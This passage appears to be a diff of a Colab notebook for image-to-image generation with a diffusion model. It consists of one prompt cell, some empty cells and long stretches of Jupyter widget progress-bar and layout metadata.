+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 547
+        },
+        "id": "zOL-Y7BFai7d",
+        "outputId": "666384a3-667d-4715-cbe1-07566afa242d"
+      },
+      "outputs": [],
+      "source": [
+        "# model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n",
+        "\n",
+        "prompt = \"Aesthetic dark star wars spaceship, Ultra HD, futuristic, sharp, octane render, neon\"\n",
+        "\n",
+        "imgs = model.similar_imgs(original_img, prompt,\n",
+        "                          num_inference_steps=50,\n",
+        "                          start_step=40)\n",
+        "imgs[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "thiXQYcG8Ekv"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "Xwtu2l3-8EnJ"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "Yb0H_X6i8Eqj"
+      },
+      "outputs": [],
+      "source": []
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "collapsed_sections": [
+        "Dn2_-E5Sa9Rn"
+      ],
+      "provenance": []
+    },
+    "gpuClass": "standard",
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "0072680043674280bcde9c4bc19b3704": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_260d5617f5e247f3a978a28d5fe72740",
+            "placeholder": "​",
+            "style": "IPY_MODEL_5eba2d04c1c54016834e7dddd253a380",
+            "value": "Downloading (…)tokenizer/merges.txt: 100%"
+          }
+        },
+        "016df28dd739433daa2c8d3b1706486c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "03433d859a7a4f3cae64d9d0bf374643": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "03fe79b7b7c5439c99fef039f96a831b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d438504eef684317a6c09cc0b123d25d",
+            "max": 341,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_26b8bf61f8e44014a005ed10835f68b5",
+            "value": 341
+          }
+        },
+        "0468827f86394f7baf78d44264a225e7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "06a9b1722db8473597c3a6cf17dafa29": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "090573574f8d48a1b9d2918d14c75c9a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "0a8793f9c57f48b299703b7945163b50": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0b9c78977b6a45da9aa6ada3332fbc28": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0bb6ef1e3a2d43ca970723b0e5ac93cf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_134ae8a21fc2489e9e7524eb856ef778",
+            "placeholder": "​",
+            "style": "IPY_MODEL_7debd7332d4a4811ad653398344420f4",
+            "value": " 472/472 [00:00&lt;00:00, 2.52kB/s]"
+          }
+        },
+        "0bec42769e7e4492aedd4afb63a91ff3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "0c34c9ecc697483e831333d67a48ff32": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "0ce4a494f2274147b9005aa03358b263": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0cf91d0dc45340f19f6a7a2804000145": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3eec3e2c3abe40efb74a05a67bf755a0",
+            "placeholder": "​",
+            "style": "IPY_MODEL_e288ede57ad84b2bb455ba18016c68d8",
+            "value": " 577/577 [00:00&lt;00:00, 11.8kB/s]"
+          }
+        },
+        "0d2fba8088804ecab806472f5396f1bc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bc42d1c7cdcd4064a1dbcc3eb1f3009b",
+            "max": 511,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_fe3c4a4e4c8b4752a1f1d88da73fb808",
+            "value": 511
+          }
+        },
+        "0e46fe7538ed4df9b8fa1f36b4b35cdd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ec377a46cf8647ff891a920c46897786",
+            "max": 901,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_4e264808109e4b52983260067550883e",
+            "value": 901
+          }
+        },
+        "115b71885ef241fb8884e8de28dfdb8c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "12808180b0b64ecd90839c791134b5fb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "134ae8a21fc2489e9e7524eb856ef778": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "13e357cba1ee4e31887f2c260f2cea15": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5573d97394b144d6b8f4065bf81e6d05",
+            "max": 524619,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_245a11e3ca454d26895c46a5c08be822",
+            "value": 524619
+          }
+        },
+        "14bc95aacebc43a8877bc36c58effccf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_30f32feefcbd486c86cb68c927dd9fca",
+              "IPY_MODEL_0e46fe7538ed4df9b8fa1f36b4b35cdd",
+              "IPY_MODEL_6e0be2c85237496eb97b53963654dffa"
+            ],
+            "layout": "IPY_MODEL_9c751e805d96415d9608c2422906d76e"
+          }
+        },
+        "163075971def4198b5cc7a0d5ec3c81d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1923427b93ae424bb5d91bab418506a9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1997648c2dc946e1bdb18d2730175ea8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ac3ea0ea867b4c30bd4be87aaa602d42",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ff0910f0831b49ac9faaba1e70c275dc",
+            "value": "100%"
+          }
+        },
+        "1cfa604ca2924c25930887b466ac3e9b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1d6c6e3129bc4702afae1facf2b8ba6b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "20396dbdc36b47538a5fd6b522478b67": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "209020cdb39942178adbc7cc3acf1cb0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "21d9342ed95d4bf0959647ef57fceb97": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ad2f2fd194ac4bca909e5af122370e3d",
+            "max": 472,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_0c34c9ecc697483e831333d67a48ff32",
+            "value": 472
+          }
+        },
+        "221469404d3946f39b4c97e708385b88": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_37ceac6f039642cab04a03a8afb9f301",
+            "placeholder": "​",
+            "style": "IPY_MODEL_0ce4a494f2274147b9005aa03358b263",
+            "value": " 1.72G/1.72G [00:15&lt;00:00, 123MB/s]"
+          }
+        },
+        "22d3e015ffd24db8aa145fab92c1901c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "23cd6b916dfe4e5faa4021cf02d07f53": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
